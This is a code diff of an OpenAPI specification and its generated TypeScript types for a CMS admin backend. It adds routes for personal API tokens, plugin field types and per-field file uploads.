||||
"type": "array"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"created_at",
|
||||
"expired",
|
||||
"expires_at",
|
||||
"hint",
|
||||
"id",
|
||||
"last_used_at",
|
||||
"name",
|
||||
"revoked_at",
|
||||
"scopes"
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.AdminAPITokenCreated": {
|
||||
"properties": {
|
||||
"created_at": {
|
||||
"type": "string"
|
||||
},
|
||||
"expired": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"expires_at": {
|
||||
"type": "string"
|
||||
},
|
||||
"hint": {
|
||||
"type": "string"
|
||||
},
|
||||
"id": {
|
||||
"type": "integer"
|
||||
},
|
||||
"last_used_at": {
|
||||
"type": "string"
|
||||
},
|
||||
"name": {
|
||||
"type": "string"
|
||||
},
|
||||
"revoked_at": {
|
||||
"type": "string"
|
||||
},
|
||||
"scopes": {
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/cabana.AdminAPITokenScope"
|
||||
},
|
||||
"type": "array"
|
||||
},
|
||||
"token": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"created_at",
|
||||
"expired",
|
||||
"expires_at",
|
||||
"hint",
|
||||
"id",
|
||||
"last_used_at",
|
||||
"name",
|
||||
"revoked_at",
|
||||
"scopes",
|
||||
"token"
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.AdminAPITokenRequest": {
|
||||
"properties": {
|
||||
"expires": {
|
||||
"type": "string"
|
||||
},
|
||||
"name": {
|
||||
"type": "string"
|
||||
},
|
||||
"scopes": {
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"type": "array"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"expires",
|
||||
"name",
|
||||
"scopes"
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.AdminAPITokenScope": {
|
||||
"properties": {
|
||||
"description": {
|
||||
"type": "string"
|
||||
},
|
||||
"known": {
|
||||
"type": "boolean"
|
||||
},
|
||||
"label": {
|
||||
"type": "string"
|
||||
},
|
||||
"name": {
|
||||
"type": "string"
|
||||
},
|
||||
"read_only": {
|
||||
"type": "boolean"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"description",
|
||||
"known",
|
||||
"label",
|
||||
"name",
|
||||
"read_only"
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.AdminAccountRequest": {
|
||||
"properties": {
|
||||
"current_password": {
|
||||
@@ -322,6 +467,42 @@
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.Envelope-array_cabana_AdminAPIToken": {
|
||||
"properties": {
|
||||
"data": {
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/cabana.AdminAPIToken"
|
||||
},
|
||||
"type": "array"
|
||||
},
|
||||
"meta": {
|
||||
"$ref": "#/components/schemas/cabana.SuccessMeta"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"data",
|
||||
"meta"
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.Envelope-array_cabana_AdminAPITokenScope": {
|
||||
"properties": {
|
||||
"data": {
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/cabana.AdminAPITokenScope"
|
||||
},
|
||||
"type": "array"
|
||||
},
|
||||
"meta": {
|
||||
"$ref": "#/components/schemas/cabana.SuccessMeta"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"data",
|
||||
"meta"
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.Envelope-array_cabana_FileItem": {
|
||||
"properties": {
|
||||
"data": {
|
||||
@@ -394,6 +575,36 @@
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.Envelope-cabana_AdminAPIToken": {
|
||||
"properties": {
|
||||
"data": {
|
||||
"$ref": "#/components/schemas/cabana.AdminAPIToken"
|
||||
},
|
||||
"meta": {
|
||||
"$ref": "#/components/schemas/cabana.SuccessMeta"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"data",
|
||||
"meta"
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.Envelope-cabana_AdminAPITokenCreated": {
|
||||
"properties": {
|
||||
"data": {
|
||||
"$ref": "#/components/schemas/cabana.AdminAPITokenCreated"
|
||||
},
|
||||
"meta": {
|
||||
"$ref": "#/components/schemas/cabana.SuccessMeta"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"data",
|
||||
"meta"
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.Envelope-cabana_AdminActionResult": {
|
||||
"properties": {
|
||||
"data": {
|
||||
@@ -514,6 +725,21 @@
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.Envelope-cabana_FieldUploadResponse": {
|
||||
"properties": {
|
||||
"data": {
|
||||
"$ref": "#/components/schemas/cabana.FieldUploadResponse"
|
||||
},
|
||||
"meta": {
|
||||
"$ref": "#/components/schemas/cabana.SuccessMeta"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"data",
|
||||
"meta"
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.Envelope-cabana_FileItem": {
|
||||
"properties": {
|
||||
"data": {
|
||||
@@ -680,6 +906,24 @@
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.FieldNotice": {
|
||||
"properties": {
|
||||
"field": {
|
||||
"type": "string"
|
||||
},
|
||||
"locale": {
|
||||
"type": "string"
|
||||
},
|
||||
"message": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"field",
|
||||
"message"
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.FieldPreset": {
|
||||
"properties": {
|
||||
"field": {
|
||||
@@ -695,6 +939,68 @@
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.FieldTypeAssets": {
|
||||
"properties": {
|
||||
"element": {
|
||||
"type": "string"
|
||||
},
|
||||
"name": {
|
||||
"type": "string"
|
||||
},
|
||||
"scripts": {
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"type": "array"
|
||||
},
|
||||
"styles": {
|
||||
"items": {
|
||||
"type": "string"
|
||||
},
|
||||
"type": "array"
|
||||
},
|
||||
"translatable": {
|
||||
"type": "boolean"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"element",
|
||||
"name",
|
||||
"scripts",
|
||||
"styles",
|
||||
"translatable"
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.FieldTypesResponse": {
|
||||
"properties": {
|
||||
"data": {
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/cabana.FieldTypeAssets"
|
||||
},
|
||||
"type": "array"
|
||||
},
|
||||
"meta": {
|
||||
"$ref": "#/components/schemas/cabana.SuccessMeta"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"data",
|
||||
"meta"
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.FieldUploadResponse": {
|
||||
"properties": {
|
||||
"url": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"url"
|
||||
],
|
||||
"type": "object"
|
||||
},
|
||||
"cabana.FileItem": {
|
||||
"properties": {
|
||||
"content_type": {
|
||||
@@ -802,6 +1108,10 @@
|
||||
"displayFormat": {
|
||||
"type": "string"
|
||||
},
|
||||
"element": {
|
||||
"description": "Element is the custom-element tag of a field whose type a plugin\nregisters (pact.HasFormFieldTypes); the admin renders it for the field.",
|
||||
"type": "string"
|
||||
},
|
||||
"emptyOption": {
|
||||
"type": "string"
|
||||
},
|
||||
@@ -935,6 +1245,10 @@
|
||||
],
|
||||
"description": "ThumbOptions carries the preview thumbnail mode."
|
||||
},
|
||||
"translatable": {
|
||||
"description": "Translatable is true when a plugin field type's value is a map of\ncontent locale to string.",
|
||||
"type": "boolean"
|
||||
},
|
||||
"twelveHour": {
|
||||
"description": "TwelveHour shows a 12-hour clock.",
|
||||
"type": "boolean"
|
||||
@@ -942,6 +1256,11 @@
|
||||
"type": {
|
||||
"type": "string"
|
||||
},
|
||||
"typeOptions": {
|
||||
"additionalProperties": {},
|
||||
"description": "TypeOptions are a plugin field type's own fields.yaml keys and values;\nthe admin hands them to the element as JSON.",
|
||||
"type": "object"
|
||||
},
|
||||
"useCaption": {
|
||||
"description": "UseCaption lets the admin edit each file's title and description.",
|
||||
"type": "boolean"
|
||||
@@ -1643,6 +1962,12 @@
|
||||
"type": "array"
|
||||
},
|
||||
"type": "object"
|
||||
},
|
||||
"notices": {
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/cabana.FieldNotice"
|
||||
},
|
||||
"type": "array"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
@@ -2062,7 +2387,7 @@
|
||||
},
|
||||
"securitySchemes": {
|
||||
"BackendBearer": {
|
||||
"description": "Backend admin bearer token. Send \"Bearer {access_token}\".",
|
||||
"description": "Backend admin access token or personal API token (g15_…). Send \"Bearer {token}\". Account and token management routes refuse personal API tokens.",
|
||||
"in": "header",
|
||||
"name": "Authorization",
|
||||
"type": "apiKey"
|
||||
@@ -2079,7 +2404,7 @@
|
||||
"paths": {
|
||||
"/account": {
|
||||
"put": {
|
||||
"description": "Saves the signed-in admin's own first name, last name, email and subtitle; the row is the token subject, never a request value. Only the AdminAccountRequest keys are accepted: any other key (login, role_id, is_superuser, permissions, is_activated, id) is a 422 on that key and nothing is written. The email must be valid, 6 to 255 characters, and not equal (ignoring case) the email or login of another admin. A non-empty password needs current_password, at least 4 characters, at most 72 bytes and an equal password_confirmation; it ends every other session, and a cookie session receives a fresh cookie.",
|
||||
"description": "Saves the signed-in admin's own first name, last name, email and subtitle; the row is the token subject, never a request value. Only the AdminAccountRequest keys are accepted: any other key (login, role_id, is_superuser, permissions, is_activated, id) is a 422 on that key and nothing is written. The email must be valid, 6 to 255 characters, and not equal (ignoring case) the email or login of another admin. A non-empty password needs current_password, at least 4 characters, at most 72 bytes and an equal password_confirmation; it ends every other session, and a cookie session receives a fresh cookie. Personal API tokens are refused (403 interactive_only).",
|
||||
"requestBody": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
@@ -2284,6 +2609,240 @@
|
||||
]
|
||||
}
|
||||
},
|
||||
"/account/tokens": {
|
||||
"get": {
|
||||
"description": "Lists the signed-in admin's personal API tokens, newest first. Revoked tokens are hidden unless revoked=1. Personal API tokens are refused (403 interactive_only).",
|
||||
"parameters": [
|
||||
{
|
||||
"description": "Include revoked tokens when 1 or true",
|
||||
"in": "query",
|
||||
"name": "revoked",
|
||||
"schema": {
|
||||
"type": "string"
|
||||
}
|
||||
}
|
||||
],
|
||||
"responses": {
|
||||
"200": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.Envelope-array_cabana_AdminAPIToken"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "OK"
|
||||
},
|
||||
"401": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Unauthorized"
|
||||
},
|
||||
"403": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Forbidden"
|
||||
}
|
||||
},
|
||||
"security": [
|
||||
{
|
||||
"BackendBearer": []
|
||||
}
|
||||
],
|
||||
"summary": "List my API tokens",
|
||||
"tags": [
|
||||
"admin"
|
||||
]
|
||||
},
|
||||
"post": {
|
||||
"description": "Creates a personal API token for the signed-in admin. The plaintext token is returned exactly once in the 201 body. Personal API tokens are refused (403 interactive_only).",
|
||||
"requestBody": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.AdminAPITokenRequest"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Name, expiry and scopes",
|
||||
"required": true
|
||||
},
|
||||
"responses": {
|
||||
"201": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.Envelope-cabana_AdminAPITokenCreated"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Created"
|
||||
},
|
||||
"401": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Unauthorized"
|
||||
},
|
||||
"403": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Forbidden"
|
||||
},
|
||||
"422": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Unprocessable Entity"
|
||||
}
|
||||
},
|
||||
"security": [
|
||||
{
|
||||
"BackendBearer": []
|
||||
}
|
||||
],
|
||||
"summary": "Create an API token",
|
||||
"tags": [
|
||||
"admin"
|
||||
]
|
||||
}
|
||||
},
|
||||
"/account/tokens/scopes": {
|
||||
"get": {
|
||||
"description": "Lists framework and plugin scopes the signed-in admin may pick when creating a token. Personal API tokens are refused (403 interactive_only).",
|
||||
"responses": {
|
||||
"200": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.Envelope-array_cabana_AdminAPITokenScope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "OK"
|
||||
},
|
||||
"401": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Unauthorized"
|
||||
},
|
||||
"403": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Forbidden"
|
||||
}
|
||||
},
|
||||
"security": [
|
||||
{
|
||||
"BackendBearer": []
|
||||
}
|
||||
],
|
||||
"summary": "List available API token scopes",
|
||||
"tags": [
|
||||
"admin"
|
||||
]
|
||||
}
|
||||
},
|
||||
"/account/tokens/{id}": {
|
||||
"delete": {
|
||||
"description": "Soft-revokes one of the signed-in admin's active personal API tokens. Personal API tokens are refused (403 interactive_only).",
|
||||
"parameters": [
|
||||
{
|
||||
"description": "Token id",
|
||||
"in": "path",
|
||||
"name": "id",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "integer"
|
||||
}
|
||||
}
|
||||
],
|
||||
"responses": {
|
||||
"200": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.Envelope-cabana_AdminAPIToken"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "OK"
|
||||
},
|
||||
"401": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Unauthorized"
|
||||
},
|
||||
"403": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Forbidden"
|
||||
},
|
||||
"404": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Not Found"
|
||||
}
|
||||
},
|
||||
"security": [
|
||||
{
|
||||
"BackendBearer": []
|
||||
}
|
||||
],
|
||||
"summary": "Revoke an API token",
|
||||
"tags": [
|
||||
"admin"
|
||||
]
|
||||
}
|
||||
},
|
||||
"/auth/login": {
|
||||
"post": {
|
||||
"parameters": [
|
||||
@@ -2496,6 +3055,62 @@
|
||||
]
|
||||
}
|
||||
},
|
||||
"/field-types": {
|
||||
"get": {
|
||||
"description": "Every admin form field type a plugin registers (pact.HasFormFieldTypes), sorted by name, with the URLs of its scripts and stylesheets (each with a ?v= content hash). The admin loads every script once after sign-in and keeps every stylesheet enabled on all pages; a form field whose `element` is set renders that custom element. An empty list when no plugin registers a type. Any backend session may call it.",
|
||||
"responses": {
|
||||
"200": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.FieldTypesResponse"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "OK"
|
||||
},
|
||||
"401": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Unauthorized"
|
||||
},
|
||||
"403": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Forbidden"
|
||||
},
|
||||
"404": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Not Found"
|
||||
}
|
||||
},
|
||||
"security": [
|
||||
{
|
||||
"BackendBearer": []
|
||||
}
|
||||
],
|
||||
"summary": "Plugin field types",
|
||||
"tags": [
|
||||
"admin"
|
||||
]
|
||||
}
|
||||
},
|
||||
"/lang": {
|
||||
"get": {
|
||||
"description": "Every backend::lang key as CLDR plural forms for the Accept-Language locale, over the fallback locale's keys. Public: the login screen loads it before signing in. meta.locale is the locale the bundle resolved to.",
|
||||
@@ -3079,7 +3694,7 @@
|
||||
]
|
||||
},
|
||||
"post": {
|
||||
"description": "Relation fields are sent by field name with ids ({\"genre\": 3, \"artists\": [4, 9]}); the response carries the same shape plus meta.labels.",
|
||||
"description": "Relation fields are sent by field name with ids ({\"genre\": 3, \"artists\": [4, 9]}); the response carries the same shape plus meta.labels. A plugin field type's value is decoded by its type inside the save; when a type reports what it changed, meta.notices lists the localized messages per field (and content locale), and the key is absent otherwise.",
|
||||
"parameters": [
|
||||
{
|
||||
"description": "Vendor",
|
||||
@@ -3757,7 +4372,7 @@
|
||||
},
|
||||
"/{vendor}/{plugin}/{controller}/schema/form": {
|
||||
"get": {
|
||||
"description": "The form of a controller, localized. `preview` is present when config_form.yaml declares a preview block: the form then has a read-only preview screen, which shows the fields whose context allows preview, the record actions and, when preview.headerPartial is set, that partial as a status hint. A `type: password` field and every other field the controller lists as virtual is sent in a save body and never has a value in a record response. `preset` on a text or mltext field names the text or mltext field it follows on the create form (type slug or exact; an mltext pair follows per locale) until the administrator edits it. A `type: permissioneditor` field carries `permissionOptions`, the permissions the controller offers the requesting administrator; its value in a record response and in a save body is an object of permission code to integer (radio mode 1 or -1, checkbox mode 1). A `type: relation` field over a protected foreign key is `readOnly` unless its contract declares the key writable.",
|
||||
"description": "The form of a controller, localized. `preview` is present when config_form.yaml declares a preview block: the form then has a read-only preview screen, which shows the fields whose context allows preview, the record actions and, when preview.headerPartial is set, that partial as a status hint. A `type: password` field and every other field the controller lists as virtual is sent in a save body and never has a value in a record response. `preset` on a text or mltext field names the text or mltext field it follows on the create form (type slug or exact; an mltext pair follows per locale) until the administrator edits it. A `type: permissioneditor` field carries `permissionOptions`, the permissions the controller offers the requesting administrator; its value in a record response and in a save body is an object of permission code to integer (radio mode 1 or -1, checkbox mode 1). A `type: relation` field over a protected foreign key is `readOnly` unless its contract declares the key writable. A field whose type a plugin registers carries `element` (the custom-element tag the admin renders), `translatable` (its value is an object of content locale to string) and `typeOptions` (the type's own fields.yaml keys).",
|
||||
"parameters": [
|
||||
{
|
||||
"description": "Vendor",
|
||||
@@ -4442,6 +5057,7 @@
|
||||
]
|
||||
},
|
||||
"put": {
|
||||
"description": "A plugin field type's value is decoded by its type inside the save; a value equal to the one the form was served for that field and locale is neither decoded nor written. When a type reports what it changed, meta.notices lists the localized messages per field (and content locale), and the key is absent otherwise.",
|
||||
"parameters": [
|
||||
{
|
||||
"description": "Vendor",
|
||||
@@ -4696,6 +5312,149 @@
|
||||
]
|
||||
}
|
||||
},
|
||||
"/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload": {
|
||||
"post": {
|
||||
"description": "Stores one multipart part named file through the Upload of the field's plugin field type (pact.FormFieldType) and answers its URL. id 0 is the create form and passes no record; any other id loads the record through the controller's FormExtendQuery scope. A field that is not in the form, has a built-in type, has a type without Upload or whose context does not allow the operation answers 404, as does a record outside the scope. A body over http.body_limits.upload_bytes answers 413; a malformed body, a second part or a value the type refuses (pact.FormFieldError) answers 422 on the field.",
|
||||
"parameters": [
|
||||
{
|
||||
"description": "Vendor",
|
||||
"in": "path",
|
||||
"name": "vendor",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
{
|
||||
"description": "Plugin",
|
||||
"in": "path",
|
||||
"name": "plugin",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
{
|
||||
"description": "Controller",
|
||||
"in": "path",
|
||||
"name": "controller",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
{
|
||||
"description": "Record id (0 for the create form)",
|
||||
"in": "path",
|
||||
"name": "id",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "integer"
|
||||
}
|
||||
},
|
||||
{
|
||||
"description": "Field name",
|
||||
"in": "path",
|
||||
"name": "field",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "string"
|
||||
}
|
||||
}
|
||||
],
|
||||
"requestBody": {
|
||||
"content": {
|
||||
"multipart/form-data": {
|
||||
"schema": {
|
||||
"properties": {
|
||||
"file": {
|
||||
"description": "The file",
|
||||
"format": "binary",
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"required": [
|
||||
"file"
|
||||
],
|
||||
"type": "object"
|
||||
}
|
||||
}
|
||||
},
|
||||
"required": true
|
||||
},
|
||||
"responses": {
|
||||
"201": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.Envelope-cabana_FieldUploadResponse"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Created"
|
||||
},
|
||||
"401": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Unauthorized"
|
||||
},
|
||||
"403": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Forbidden"
|
||||
},
|
||||
"404": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Not Found"
|
||||
},
|
||||
"413": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Request Entity Too Large"
|
||||
},
|
||||
"422": {
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/cabana.ErrorEnvelope"
|
||||
}
|
||||
}
|
||||
},
|
||||
"description": "Unprocessable Entity"
|
||||
}
|
||||
},
|
||||
"security": [
|
||||
{
|
||||
"BackendBearer": []
|
||||
}
|
||||
],
|
||||
"summary": "Upload a file for a plugin field type",
|
||||
"tags": [
|
||||
"admin"
|
||||
]
|
||||
}
|
||||
},
|
||||
"/{vendor}/{plugin}/{controller}/{id}/files/{field}": {
|
||||
"get": {
|
||||
"description": "The files attached to the record minus the session's pending removals, plus the session's pending uploads, in sort_order. id 0 is the record being created in the X-Session-Key session (the key is then required). url and thumb_url are set only for a public relation.",
|
||||
|
||||
515
admin/src/api/schema.d.ts
vendored
515
admin/src/api/schema.d.ts
vendored
@@ -14,7 +14,7 @@ export interface paths {
|
||||
get?: never;
|
||||
/**
|
||||
* Update my account
|
||||
* @description Saves the signed-in admin's own first name, last name, email and subtitle; the row is the token subject, never a request value. Only the AdminAccountRequest keys are accepted: any other key (login, role_id, is_superuser, permissions, is_activated, id) is a 422 on that key and nothing is written. The email must be valid, 6 to 255 characters, and not equal (ignoring case) the email or login of another admin. A non-empty password needs current_password, at least 4 characters, at most 72 bytes and an equal password_confirmation; it ends every other session, and a cookie session receives a fresh cookie.
|
||||
* @description Saves the signed-in admin's own first name, last name, email and subtitle; the row is the token subject, never a request value. Only the AdminAccountRequest keys are accepted: any other key (login, role_id, is_superuser, permissions, is_activated, id) is a 422 on that key and nothing is written. The email must be valid, 6 to 255 characters, and not equal (ignoring case) the email or login of another admin. A non-empty password needs current_password, at least 4 characters, at most 72 bytes and an equal password_confirmation; it ends every other session, and a cookie session receives a fresh cookie. Personal API tokens are refused (403 interactive_only).
|
||||
*/
|
||||
put: {
|
||||
parameters: {
|
||||
@@ -210,6 +210,247 @@ export interface paths {
|
||||
patch?: never;
|
||||
trace?: never;
|
||||
};
|
||||
"/account/tokens": {
|
||||
parameters: {
|
||||
query?: never;
|
||||
header?: never;
|
||||
path?: never;
|
||||
cookie?: never;
|
||||
};
|
||||
/**
|
||||
* List my API tokens
|
||||
* @description Lists the signed-in admin's personal API tokens, newest first. Revoked tokens are hidden unless revoked=1. Personal API tokens are refused (403 interactive_only).
|
||||
*/
|
||||
get: {
|
||||
parameters: {
|
||||
query?: {
|
||||
/** @description Include revoked tokens when 1 or true */
|
||||
revoked?: string;
|
||||
};
|
||||
header?: never;
|
||||
path?: never;
|
||||
cookie?: never;
|
||||
};
|
||||
requestBody?: never;
|
||||
responses: {
|
||||
/** @description OK */
|
||||
200: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.Envelope-array_cabana_AdminAPIToken"];
|
||||
};
|
||||
};
|
||||
/** @description Unauthorized */
|
||||
401: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
/** @description Forbidden */
|
||||
403: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
put?: never;
|
||||
/**
|
||||
* Create an API token
|
||||
* @description Creates a personal API token for the signed-in admin. The plaintext token is returned exactly once in the 201 body. Personal API tokens are refused (403 interactive_only).
|
||||
*/
|
||||
post: {
|
||||
parameters: {
|
||||
query?: never;
|
||||
header?: never;
|
||||
path?: never;
|
||||
cookie?: never;
|
||||
};
|
||||
/** @description Name, expiry and scopes */
|
||||
requestBody: {
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.AdminAPITokenRequest"];
|
||||
};
|
||||
};
|
||||
responses: {
|
||||
/** @description Created */
|
||||
201: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.Envelope-cabana_AdminAPITokenCreated"];
|
||||
};
|
||||
};
|
||||
/** @description Unauthorized */
|
||||
401: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
/** @description Forbidden */
|
||||
403: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
/** @description Unprocessable Entity */
|
||||
422: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
};
|
||||
};
|
||||
delete?: never;
|
||||
options?: never;
|
||||
head?: never;
|
||||
patch?: never;
|
||||
trace?: never;
|
||||
};
|
||||
"/account/tokens/scopes": {
|
||||
parameters: {
|
||||
query?: never;
|
||||
header?: never;
|
||||
path?: never;
|
||||
cookie?: never;
|
||||
};
|
||||
/**
|
||||
* List available API token scopes
|
||||
* @description Lists framework and plugin scopes the signed-in admin may pick when creating a token. Personal API tokens are refused (403 interactive_only).
|
||||
*/
|
||||
get: {
|
||||
parameters: {
|
||||
query?: never;
|
||||
header?: never;
|
||||
path?: never;
|
||||
cookie?: never;
|
||||
};
|
||||
requestBody?: never;
|
||||
responses: {
|
||||
/** @description OK */
|
||||
200: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.Envelope-array_cabana_AdminAPITokenScope"];
|
||||
};
|
||||
};
|
||||
/** @description Unauthorized */
|
||||
401: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
content: {
|
||||
"application/json": components["schemas"]["cabana.ErrorEnvelope"];
|
||||
};
|
||||
};
|
||||
/** @description Forbidden */
|
||||
403: {
|
||||
headers: {
|
||||
[name: string]: unknown;
|
||||
};
|
||||
